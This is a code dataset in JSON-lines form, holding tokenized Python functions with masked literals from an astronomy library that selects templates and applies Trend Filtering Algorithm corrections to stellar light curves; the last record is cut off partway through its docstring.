{"signature": "def tfa_templates_lclist(<EOL>lclist,<EOL>lcinfo_pkl=None,<EOL>outfile=None,<EOL>target_template_frac=<NUM_LIT:0.1>,<EOL>max_target_frac_obs=<NUM_LIT>,<EOL>min_template_number=<NUM_LIT:10>,<EOL>max_template_number=<NUM_LIT:1000>,<EOL>max_rms=<NUM_LIT>,<EOL>max_mult_above_magmad=<NUM_LIT>,<EOL>max_mult_above_mageta=<NUM_LIT>,<EOL>xieta_bins=<NUM_LIT:20>,<EOL>mag_bandpass='<STR_LIT>',<EOL>custom_bandpasses=None,<EOL>mag_bright_limit=<NUM_LIT>,<EOL>mag_faint_limit=<NUM_LIT>,<EOL>process_template_lcs=True,<EOL>template_sigclip=<NUM_LIT>,<EOL>template_interpolate='<STR_LIT>',<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>nworkers=NCPUS,<EOL>maxworkertasks=<NUM_LIT:1000>,<EOL>):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if timecols is None:<EOL><INDENT>timecols = dtimecols<EOL><DEDENT>if magcols is None:<EOL><INDENT>magcols = dmagcols<EOL><DEDENT>if errcols is None:<EOL><INDENT>errcols = derrcols<EOL><DEDENT>LOGINFO('<STR_LIT>' %<EOL>len(lclist))<EOL>if lcinfo_pkl and os.path.exists(lcinfo_pkl):<EOL><INDENT>with open(lcinfo_pkl,'<STR_LIT:rb>') as infd:<EOL><INDENT>results = pickle.load(infd)<EOL><DEDENT><DEDENT>elif ((not outfile) and<EOL>os.path.exists('<STR_LIT>' % lcformat)):<EOL><INDENT>with open('<STR_LIT>' % lcformat, '<STR_LIT:rb>') as infd:<EOL><INDENT>results = pickle.load(infd)<EOL><DEDENT><DEDENT>elif (outfile and os.path.exists('<STR_LIT>' %<EOL>(lcformat, os.path.basename(outfile)))):<EOL><INDENT>with open(<EOL>'<STR_LIT>' %<EOL>(lcformat, os.path.basename(outfile)),<EOL>'<STR_LIT:rb>'<EOL>) as infd:<EOL><INDENT>results = pickle.load(infd)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>tasks = [(x, lcformat, lcformat,<EOL>timecols, magcols, errcols,<EOL>custom_bandpasses) for x in lclist]<EOL>pool = mp.Pool(nworkers, maxtasksperchild=maxworkertasks)<EOL>results = pool.map(_collect_tfa_stats, tasks)<EOL>pool.close()<EOL>pool.join()<EOL>if not outfile:<EOL><INDENT>with open('<STR_LIT>' % lcformat,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(results, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>with open(<EOL>'<STR_LIT>' %<EOL>(lcformat, os.path.basename(outfile)),<EOL>'<STR_LIT:wb>'<EOL>) as outfd:<EOL><INDENT>pickle.dump(results, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT><DEDENT><DEDENT>all_ras = np.array([res['<STR_LIT>'] for res in results])<EOL>all_decls = np.array([res['<STR_LIT>'] for res in results])<EOL>center_ra = np.nanmedian(all_ras)<EOL>center_decl = np.nanmedian(all_decls)<EOL>outdict = {<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':center_ra,<EOL>'<STR_LIT>':center_decl,<EOL>}<EOL>for tcol, mcol, ecol in zip(timecols, magcols, errcols):<EOL><INDENT>if '<STR_LIT:.>' in tcol:<EOL><INDENT>tcolget = tcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>tcolget = [tcol]<EOL><DEDENT>(lcmag, lcmad, lceta,<EOL>lcndet, lcobj, lcfpaths,<EOL>lcra, lcdecl) = [], [], [], [], [], [], [], []<EOL>outdict['<STR_LIT>'].append(tcol)<EOL>outdict['<STR_LIT>'].append(mcol)<EOL>outdict['<STR_LIT>'].append(ecol)<EOL>outdict[mcol] = {'<STR_LIT>':{'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[],<EOL>'<STR_LIT>':[]}}<EOL>LOGINFO('<STR_LIT>' %<EOL>mcol)<EOL>for result in results:<EOL><INDENT>try:<EOL><INDENT>thismag = result['<STR_LIT>'][mag_bandpass]<EOL>thismad = result[mcol]['<STR_LIT>']<EOL>thiseta = result[mcol]['<STR_LIT>']<EOL>thisndet = result[mcol]['<STR_LIT>']<EOL>thisobj = result['<STR_LIT>']<EOL>thislcf = result['<STR_LIT>']<EOL>thisra = result['<STR_LIT>']<EOL>thisdecl = result['<STR_LIT>']<EOL>outdict[mcol]['<STR_LIT>']['<STR_LIT>'].append(thismag)<EOL>outdict[mcol]['<STR_LIT>']['<STR_LIT>'].append(thismad)<EOL>outdict[mcol]['<STR_LIT>']['<STR_LIT>'].append(thiseta)<EOL>outdict[mcol]['<STR_LIT>']['<STR_LIT>'].append(thisndet)<EOL>outdict[mcol]['<STR_LIT>']['<STR_LIT>'].append(thisobj)<EOL>outdict[mcol]['<STR_LIT>']['<STR_LIT>'].append(thislcf)<EOL>outdict[mcol]['<STR_LIT>']['<STR_LIT>'].append(thisra)<EOL>outdict[mcol]['<STR_LIT>']['<STR_LIT>'].append(thisdecl)<EOL>if isinstance(mag_bright_limit, (list, tuple)):<EOL><INDENT>use_bright_maglim = mag_bright_limit[<EOL>magcols.index(mcol)<EOL>]<EOL><DEDENT>else:<EOL><INDENT>use_bright_maglim = mag_bright_limit<EOL><DEDENT>if isinstance(mag_faint_limit, (list, tuple)):<EOL><INDENT>use_faint_maglim = mag_faint_limit[<EOL>magcols.index(mcol)<EOL>]<EOL><DEDENT>else:<EOL><INDENT>use_faint_maglim = mag_faint_limit<EOL><DEDENT>if ((use_bright_maglim < thismag < use_faint_maglim) and<EOL>(<NUM_LIT>*thismad < max_rms)):<EOL><INDENT>lcmag.append(thismag)<EOL>lcmad.append(thismad)<EOL>lceta.append(thiseta)<EOL>lcndet.append(thisndet)<EOL>lcobj.append(thisobj)<EOL>lcfpaths.append(thislcf)<EOL>lcra.append(thisra)<EOL>lcdecl.append(thisdecl)<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if len(lcobj) >= min_template_number:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(mcol, len(lcobj),<EOL>mag_bright_limit, mag_faint_limit, max_rms))<EOL>lcmag = np.array(lcmag)<EOL>lcmad = np.array(lcmad)<EOL>lceta = np.array(lceta)<EOL>lcndet = np.array(lcndet)<EOL>lcobj = np.array(lcobj)<EOL>lcfpaths = np.array(lcfpaths)<EOL>lcra = np.array(lcra)<EOL>lcdecl = np.array(lcdecl)<EOL>sortind = np.argsort(lcmag)<EOL>lcmag = lcmag[sortind]<EOL>lcmad = lcmad[sortind]<EOL>lceta = lceta[sortind]<EOL>lcndet = lcndet[sortind]<EOL>lcobj = lcobj[sortind]<EOL>lcfpaths = lcfpaths[sortind]<EOL>lcra = lcra[sortind]<EOL>lcdecl = lcdecl[sortind]<EOL>splfit_ind = np.diff(lcmag) > <NUM_LIT:0.0><EOL>splfit_ind = np.concatenate((np.array([True]), splfit_ind))<EOL>fit_lcmag = lcmag[splfit_ind]<EOL>fit_lcmad = lcmad[splfit_ind]<EOL>fit_lceta = lceta[splfit_ind]<EOL>magmadfit = np.poly1d(np.polyfit(<EOL>fit_lcmag,<EOL>fit_lcmad,<EOL><NUM_LIT:2><EOL>))<EOL>magmadind = lcmad/magmadfit(lcmag) < max_mult_above_magmad<EOL>magetafit = np.poly1d(np.polyfit(<EOL>fit_lcmag,<EOL>fit_lceta,<EOL><NUM_LIT:2><EOL>))<EOL>magetaind = magetafit(lcmag)/lceta < max_mult_above_mageta<EOL>median_ndet = np.median(lcndet)<EOL>ndetind = lcndet >= median_ndet<EOL>templateind = magmadind & magetaind & ndetind<EOL>if templateind.sum() >= min_template_number:<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>(mcol, templateind.sum()))<EOL>templatemag = lcmag[templateind]<EOL>templatemad = lcmad[templateind]<EOL>templateeta = lceta[templateind]<EOL>templatendet = lcndet[templateind]<EOL>templateobj = lcobj[templateind]<EOL>templatelcf = lcfpaths[templateind]<EOL>templatera = lcra[templateind]<EOL>templatedecl = lcdecl[templateind]<EOL>target_number_templates = int(target_template_frac*len(results))<EOL>if target_number_templates > max_template_number:<EOL><INDENT>target_number_templates = max_template_number<EOL><DEDENT>LOGINFO('<STR_LIT>' %<EOL>(mcol, target_number_templates))<EOL>template_cxi, template_ceta = coordutils.xieta_from_radecl(<EOL>templatera,<EOL>templatedecl,<EOL>center_ra,<EOL>center_decl<EOL>)<EOL>cxi_bins = np.linspace(template_cxi.min(),<EOL>template_cxi.max(),<EOL>num=xieta_bins)<EOL>ceta_bins = np.linspace(template_ceta.min(),<EOL>template_ceta.max(),<EOL>num=xieta_bins)<EOL>digitized_cxi_inds = np.digitize(template_cxi, cxi_bins)<EOL>digitized_ceta_inds = np.digitize(template_ceta, ceta_bins)<EOL>targetind = npr.choice(xieta_bins,<EOL>target_number_templates,<EOL>replace=True)<EOL>selected_template_obj = []<EOL>selected_template_lcf = []<EOL>selected_template_ndet = []<EOL>selected_template_ra = []<EOL>selected_template_decl = []<EOL>selected_template_mag = []<EOL>selected_template_mad = []<EOL>selected_template_eta = []<EOL>for ind in targetind:<EOL><INDENT>pass<EOL><DEDENT>targetind = npr.choice(templateobj.size,<EOL>target_number_templates,<EOL>replace=False)<EOL>templatemag = templatemag[targetind]<EOL>templatemad = templatemad[targetind]<EOL>templateeta = templateeta[targetind]<EOL>templatendet = templatendet[targetind]<EOL>templateobj = templateobj[targetind]<EOL>templatelcf = templatelcf[targetind]<EOL>templatera = templatera[targetind]<EOL>templatedecl = templatedecl[targetind]<EOL>maxndetind = templatendet == templatendet.max()<EOL>timebaselcf = templatelcf[maxndetind][<NUM_LIT:0>]<EOL>timebasendet = templatendet[maxndetind][<NUM_LIT:0>]<EOL>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(mcol, timebaselcf, timebasendet))<EOL>if process_template_lcs:<EOL><INDENT>timebaselcdict = readerfunc(timebaselcf)<EOL>if ( (isinstance(timebaselcdict, (list, tuple))) and<EOL>(isinstance(timebaselcdict[<NUM_LIT:0>], dict)) ):<EOL><INDENT>timebaselcdict = timebaselcdict[<NUM_LIT:0>]<EOL><DEDENT>timebase = _dict_get(timebaselcdict, tcolget)<EOL><DEDENT>else:<EOL><INDENT>timebase = None<EOL><DEDENT>if target_number_templates > timebasendet:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(target_number_templates,<EOL>timebasendet,<EOL>max_target_frac_obs))<EOL>newmaxtemplates = int(max_target_frac_obs*timebasendet)<EOL>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(mcol, newmaxtemplates))<EOL>targetind = npr.choice(templateobj.size,<EOL>newmaxtemplates,<EOL>replace=False)<EOL>templatemag = templatemag[targetind]<EOL>templatemad = templatemad[targetind]<EOL>templateeta = templateeta[targetind]<EOL>templatendet = templatendet[targetind]<EOL>templateobj = templateobj[targetind]<EOL>templatelcf = templatelcf[targetind]<EOL>templatera = templatera[targetind]<EOL>templatedecl = templatedecl[targetind]<EOL>maxndetind = templatendet == templatendet.max()<EOL>timebaselcf = templatelcf[maxndetind][<NUM_LIT:0>]<EOL>timebasendet = templatendet[maxndetind][<NUM_LIT:0>]<EOL>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(mcol, timebaselcf, timebasendet))<EOL>if process_template_lcs:<EOL><INDENT>timebaselcdict = readerfunc(timebaselcf)<EOL>if ( (isinstance(timebaselcdict, (list, tuple))) and<EOL>(isinstance(timebaselcdict[<NUM_LIT:0>], dict)) ):<EOL><INDENT>timebaselcdict = timebaselcdict[<NUM_LIT:0>]<EOL><DEDENT>timebase = _dict_get(timebaselcdict, tcolget)<EOL><DEDENT>else:<EOL><INDENT>timebase = None<EOL><DEDENT><DEDENT>if process_template_lcs:<EOL><INDENT>LOGINFO('<STR_LIT>'<EOL>'<STR_LIT>' % mcol)<EOL>tasks = [(x, lcformat, lcformatdir,<EOL>tcol, mcol, ecol,<EOL>timebase, template_interpolate,<EOL>template_sigclip) for x<EOL>in templatelcf]<EOL>pool = mp.Pool(nworkers, maxtasksperchild=maxworkertasks)<EOL>reform_results = pool.map(_reform_templatelc_for_tfa, tasks)<EOL>pool.close()<EOL>pool.join()<EOL>template_magseries = np.array([x['<STR_LIT>']<EOL>for x in reform_results])<EOL>template_errseries = np.array([x['<STR_LIT>']<EOL>for x in reform_results])<EOL><DEDENT>else:<EOL><INDENT>template_magseries = None<EOL>template_errseries = None<EOL><DEDENT>outdict[mcol].update({<EOL>'<STR_LIT>':timebaselcf,<EOL>'<STR_LIT>':timebase,<EOL>'<STR_LIT>':{'<STR_LIT>':magmadfit,<EOL>'<STR_LIT>':magetafit},<EOL>'<STR_LIT>':templateobj,<EOL>'<STR_LIT>':templatera,<EOL>'<STR_LIT>':templatedecl,<EOL>'<STR_LIT>':templatemag,<EOL>'<STR_LIT>':templatemad,<EOL>'<STR_LIT>':templateeta,<EOL>'<STR_LIT>':templatendet,<EOL>'<STR_LIT>':template_magseries,<EOL>'<STR_LIT>':template_errseries<EOL>})<EOL>outdict[mcol]['<STR_LIT>'] = (<EOL>coordutils.make_kdtree(<EOL>templatera, templatedecl<EOL>)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % mcol)<EOL>continue<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>' % (len(lcobj),mcol))<EOL>continue<EOL><DEDENT>plt.plot(lcmag, lcmad, marker='<STR_LIT:o>', linestyle='<STR_LIT:none>', ms=<NUM_LIT:1.0>)<EOL>modelmags = np.linspace(lcmag.min(), lcmag.max(), num=<NUM_LIT:1000>)<EOL>plt.plot(modelmags, outdict[mcol]['<STR_LIT>']['<STR_LIT>'](modelmags))<EOL>plt.yscale('<STR_LIT>')<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.savefig('<STR_LIT>' % mcol,<EOL>bbox_inches='<STR_LIT>')<EOL>plt.close('<STR_LIT:all>')<EOL>plt.plot(lcmag, lceta, marker='<STR_LIT:o>', linestyle='<STR_LIT:none>', ms=<NUM_LIT:1.0>)<EOL>modelmags = np.linspace(lcmag.min(), lcmag.max(), num=<NUM_LIT:1000>)<EOL>plt.plot(modelmags, outdict[mcol]['<STR_LIT>']['<STR_LIT>'](modelmags))<EOL>plt.yscale('<STR_LIT>')<EOL>plt.xlabel('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.savefig('<STR_LIT>' % mcol,<EOL>bbox_inches='<STR_LIT>')<EOL>plt.close('<STR_LIT:all>')<EOL><DEDENT>if outfile:<EOL><INDENT>if outfile.endswith('<STR_LIT>'):<EOL><INDENT>outfd = gzip.open(outfile,'<STR_LIT:wb>')<EOL><DEDENT>else:<EOL><INDENT>outfd = open(outfile,'<STR_LIT:wb>')<EOL><DEDENT>with outfd:<EOL><INDENT>pickle.dump(outdict, outfd, protocol=pickle.HIGHEST_PROTOCOL)<EOL><DEDENT><DEDENT>return outdict<EOL>", "docstring": "This selects template objects for TFA.\n\n    Selection criteria for TFA template ensemble objects:\n\n    - not variable: use a poly fit to the mag-MAD relation and eta-normal\n      variability index to get nonvar objects\n\n    - not more than 10% of the total number of objects in the field or\n      `max_tfa_templates` at most\n\n    - allow shuffling of the templates if the target ends up in them\n\n    - nothing with less than the median number of observations in the field\n\n    - sigma-clip the input time series observations\n\n    - TODO: uniform sampling in tangent plane coordinates (we'll need ra and\n      decl)\n\n    This also determines the effective cadence that all TFA LCs will be binned\n    to as the template LC with the largest number of non-nan observations will\n    be used. All template LCs will be renormed to zero.\n\n    Parameters\n    ----------\n\n    lclist : list of str\n        This is a list of light curves to use as input to generate the template\n        set.\n\n    lcinfo_pkl : str or None\n        If provided, is a file path to a pickle file created by this function on\n        a previous run containing the LC information. This will be loaded\n        directly instead of having to re-run LC info collection.\n\n    outfile : str or None\n        This is the pickle filename to which the TFA template list will be\n        written to. If None, a default file name will be used for this.\n\n    target_template_frac : float\n        This is the fraction of total objects in lclist to use for the number of\n        templates.\n\n    max_target_frac_obs : float\n        This sets the number of templates to generate if the number of\n        observations for the light curves is smaller than the number of objects\n        in the collection. The number of templates will be set to this fraction\n        of the number of observations if this is the case.\n\n    min_template_number : int\n        This is the minimum number of templates to generate.\n\n    max_template_number : int\n        This is the maximum number of templates to generate. If\n        `target_template_frac` times the number of objects is greater than\n        `max_template_number`, only `max_template_number` templates will be\n        used.\n\n    max_rms : float\n        This is the maximum light curve RMS for an object to consider it as a\n        possible template ensemble member.\n\n    max_mult_above_magmad : float\n        This is the maximum multiplier above the mag-RMS fit to consider an\n        object as variable and thus not part of the template ensemble.\n\n    max_mult_above_mageta : float\n        This is the maximum multiplier above the mag-eta (variable index) fit to\n        consider an object as variable and thus not part of the template\n        ensemble.\n\n    mag_bandpass : str\n        This sets the key in the light curve dict's objectinfo dict to use as\n        the canonical magnitude for the object and apply any magnitude limits\n        to.\n\n    custom_bandpasses : dict or None\n        This can be used to provide any custom band name keys to the star\n        feature collection function.\n\n    mag_bright_limit : float or list of floats\n        This sets the brightest mag (in the `mag_bandpass` filter) for a\n        potential member of the TFA template ensemble. If this is a single\n        float, the value will be used for all magcols. If this is a list of\n        floats with len = len(magcols), the specific bright limits will be used\n        for each magcol individually.\n\n    mag_faint_limit : float or list of floats\n        This sets the faintest mag (in the `mag_bandpass` filter) for a\n        potential member of the TFA template ensemble. If this is a single\n        float, the value will be used for all magcols. If this is a list of\n        floats with len = len(magcols), the specific faint limits will be used\n        for each magcol individually.\n\n    process_template_lcs : bool\n        If True, will reform the template light curves to the chosen\n        time-base. If False, will only select light curves for templates but not\n        process them. This is useful for initial exploration of how the template\n        LC are selected.\n\n    template_sigclip : float or sequence of floats or None\n        This sets the sigma-clip to be applied to the template light curves.\n\n    template_interpolate : str\n        This sets the kwarg to pass to `scipy.interpolate.interp1d` to set the\n        kind of interpolation to use when reforming light curves to the TFA\n        template timebase.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in calculating the features.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in calculating the features.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in calculating the features.\n\n    nworkers : int\n        The number of parallel workers to launch.\n\n    maxworkertasks : int\n        The maximum number of tasks to run per worker before it is replaced by a\n        fresh one.\n\n    Returns\n    -------\n\n    dict\n        This function returns a dict that can be passed directly to\n        `apply_tfa_magseries` below. It can optionally produce a pickle with the\n        same dict, which can also be passed to that function.", "id": "f14707:m3"}
{"signature": "def apply_tfa_magseries(lcfile,<EOL>timecol,<EOL>magcol,<EOL>errcol,<EOL>templateinfo,<EOL>mintemplatedist_arcmin=<NUM_LIT>,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>interp='<STR_LIT>',<EOL>sigclip=<NUM_LIT>):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if isinstance(templateinfo,str) and os.path.exists(templateinfo):<EOL><INDENT>with open(templateinfo,'<STR_LIT:rb>') as infd:<EOL><INDENT>templateinfo = pickle.load(infd)<EOL><DEDENT><DEDENT>lcdict = readerfunc(lcfile)<EOL>if ((isinstance(lcdict, (tuple, list))) and<EOL>isinstance(lcdict[<NUM_LIT:0>], dict)):<EOL><INDENT>lcdict = lcdict[<NUM_LIT:0>]<EOL><DEDENT>objectid = lcdict['<STR_LIT>']<EOL>tmagseries = templateinfo[magcol][<EOL>'<STR_LIT>'<EOL>][::]<EOL>if objectid in templateinfo[magcol]['<STR_LIT>']:<EOL><INDENT>LOGWARNING('<STR_LIT>' %<EOL>objectid)<EOL>templateind = templateinfo[magcol]['<STR_LIT>'] == objectid<EOL>tmagseries = tmagseries[~templateind,:]<EOL><DEDENT>object_matches = coordutils.conesearch_kdtree(<EOL>templateinfo[magcol]['<STR_LIT>'],<EOL>lcdict['<STR_LIT>']['<STR_LIT>'], lcdict['<STR_LIT>']['<STR_LIT>'],<EOL>mintemplatedist_arcmin/<NUM_LIT><EOL>)<EOL>if len(object_matches) > <NUM_LIT:0>:<EOL><INDENT>LOGWARNING(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>(objectid, mintemplatedist_arcmin, len(object_matches))<EOL>)<EOL>removalind = np.full(<EOL>templateinfo[magcol]['<STR_LIT>'].size,<EOL>False, dtype=np.bool<EOL>)<EOL>removalind[np.array(object_matches)] = True<EOL>tmagseries = tmagseries[~removalind,:]<EOL><DEDENT>normal_matrix = np.dot(tmagseries, tmagseries.T)<EOL>normal_matrix_inverse = spla.pinv2(normal_matrix)<EOL>timebase = templateinfo[magcol]['<STR_LIT>']<EOL>reformed_targetlc = _reform_templatelc_for_tfa((<EOL>lcfile,<EOL>lcformat,<EOL>lcformatdir,<EOL>timecol,<EOL>magcol,<EOL>errcol,<EOL>timebase,<EOL>interp,<EOL>sigclip<EOL>))<EOL>scalar_products = np.dot(tmagseries, reformed_targetlc['<STR_LIT>'])<EOL>corrections = np.dot(normal_matrix_inverse, scalar_products)<EOL>corrected_magseries = (<EOL>reformed_targetlc['<STR_LIT>'] -<EOL>np.dot(tmagseries.T, corrections)<EOL>)<EOL>outdict = {<EOL>'<STR_LIT>':timebase,<EOL>'<STR_LIT>':corrected_magseries,<EOL>'<STR_LIT>':reformed_targetlc['<STR_LIT>'],<EOL>'<STR_LIT>':np.median(corrected_magseries),<EOL>'<STR_LIT>': np.median(np.abs(corrected_magseries -<EOL>np.median(corrected_magseries))),<EOL>'<STR_LIT>':{'<STR_LIT>':tmagseries,<EOL>'<STR_LIT>':normal_matrix,<EOL>'<STR_LIT>':normal_matrix_inverse,<EOL>'<STR_LIT>':scalar_products,<EOL>'<STR_LIT>':corrections,<EOL>'<STR_LIT>':reformed_targetlc},<EOL>}<EOL>lcdict['<STR_LIT>'] = outdict<EOL>outfile = os.path.join(<EOL>os.path.dirname(lcfile),<EOL>'<STR_LIT>' % (<EOL>squeeze(objectid).replace('<STR_LIT:U+0020>','<STR_LIT:->'),<EOL>magcol<EOL>)<EOL>)<EOL>with open(outfile,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(lcdict, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>return outfile<EOL>", "docstring": "This applies the TFA correction to an LC given TFA template information.\n\n    Parameters\n    ----------\n\n    lcfile : str\n        This is the light curve file to apply the TFA correction to.\n\n    timecol,magcol,errcol : str\n        These are the column keys in the lcdict for the LC file to apply the TFA\n        correction to.\n\n    templateinfo : dict or str\n        This is either the dict produced by `tfa_templates_lclist` or the pickle\n        produced by the same function.\n\n    mintemplatedist_arcmin : float\n        This sets the minimum distance required from the target object for\n        objects in the TFA template ensemble. Objects closer than this distance\n        will be removed from the ensemble.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with lcproc.\n\n    interp : str\n        This is passed to scipy.interpolate.interp1d as the kind of\n        interpolation to use when reforming this light curve to the timebase of\n        the TFA templates.\n\n    sigclip : float or sequence of two floats or None\n        This is the sigma clip to apply to this light curve before running TFA\n        on it.\n\n    Returns\n    -------\n\n    str\n        This returns the filename of the light curve file generated after TFA\n        applications. This is a pickle (that can be read by `lcproc.read_pklc`)\n        in the same directory as `lcfile`. The `magcol` will be encoded in the\n        filename, so each `magcol` in `lcfile` gets its own output file.", "id": "f14707:m4"}
{"signature": "def _parallel_tfa_worker(task):", "body": "(lcfile, timecol, magcol, errcol,<EOL>templateinfo, lcformat, lcformatdir,<EOL>interp, sigclip, mintemplatedist_arcmin) = task<EOL>try:<EOL><INDENT>res = apply_tfa_magseries(<EOL>lcfile, timecol, magcol, errcol,<EOL>templateinfo,<EOL>lcformat=lcformat,<EOL>lcformatdir=lcformatdir,<EOL>interp=interp,<EOL>sigclip=sigclip,<EOL>mintemplatedist_arcmin=mintemplatedist_arcmin<EOL>)<EOL>if res:<EOL><INDENT>LOGINFO('<STR_LIT>' % (lcfile, res))<EOL><DEDENT>return res<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>' % lcfile)<EOL>return None<EOL><DEDENT>", "docstring": "This is a parallel worker for the function below.\n\ntask[0] = lcfile\ntask[1] = timecol\ntask[2] = magcol\ntask[3] = errcol\ntask[4] = templateinfo\ntask[5] = lcformat\ntask[6] = lcformatdir\ntask[6] = interp\ntask[7] = sigclip", "id": "f14707:m5"}
{"signature": "def parallel_tfa_lclist(lclist,<EOL>templateinfo,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>interp='<STR_LIT>',<EOL>sigclip=<NUM_LIT>,<EOL>mintemplatedist_arcmin=<NUM_LIT>,<EOL>nworkers=NCPUS,<EOL>maxworkertasks=<NUM_LIT:1000>):", "body": "<EOL>if isinstance(templateinfo,str) and os.path.exists(templateinfo):<EOL><INDENT>with open(templateinfo,'<STR_LIT:rb>') as infd:<EOL><INDENT>templateinfo = pickle.load(infd)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if timecols is None:<EOL><INDENT>timecols = templateinfo['<STR_LIT>']<EOL><DEDENT>if magcols is None:<EOL><INDENT>magcols = templateinfo['<STR_LIT>']<EOL><DEDENT>if errcols is None:<EOL><INDENT>errcols = templateinfo['<STR_LIT>']<EOL><DEDENT>outdict = {}<EOL>for t, m, e in zip(timecols, magcols, errcols):<EOL><INDENT>tasks = [(x, t, m, e, templateinfo,<EOL>lcformat, lcformatdir,<EOL>interp, sigclip) for<EOL>x in lclist]<EOL>pool = mp.Pool(nworkers, maxtasksperchild=maxworkertasks)<EOL>results = pool.map(_parallel_tfa_worker, tasks)<EOL>pool.close()<EOL>pool.join()<EOL>outdict[m] = results<EOL><DEDENT>return outdict<EOL>", "docstring": "This applies TFA in parallel to all LCs in the given list of file names.\n\n    Parameters\n    ----------\n\n    lclist : str\n        This is a list of light curve files to apply TFA correction to.\n\n    templateinfo : dict or str\n        This is either the dict produced by `tfa_templates_lclist` or the pickle\n        produced by the same function.\n\n    timecols : list of str or None\n        The timecol keys to use from the lcdict in applying TFA corrections.\n\n    magcols : list of str or None\n        The magcol keys to use from the lcdict in applying TFA corrections.\n\n    errcols : list of str or None\n        The errcol keys to use from the lcdict in applying TFA corrections.\n\n    lcformat : str\n        This is the `formatkey` associated with your light curve format, which\n        you previously passed in to the `lcproc.register_lcformat`\n        function. This will be used to look up how to find and read the light\n        curves specified in `basedir` or `use_list_of_filenames`.\n\n    lcformatdir : str or None\n        If this is provided, gives the path to a directory when you've stored\n        your lcformat description JSONs, other than the usual directories lcproc\n        knows to search for them in. Use this along with `lcformat` to specify\n        an LC format JSON file that's not currently registered with 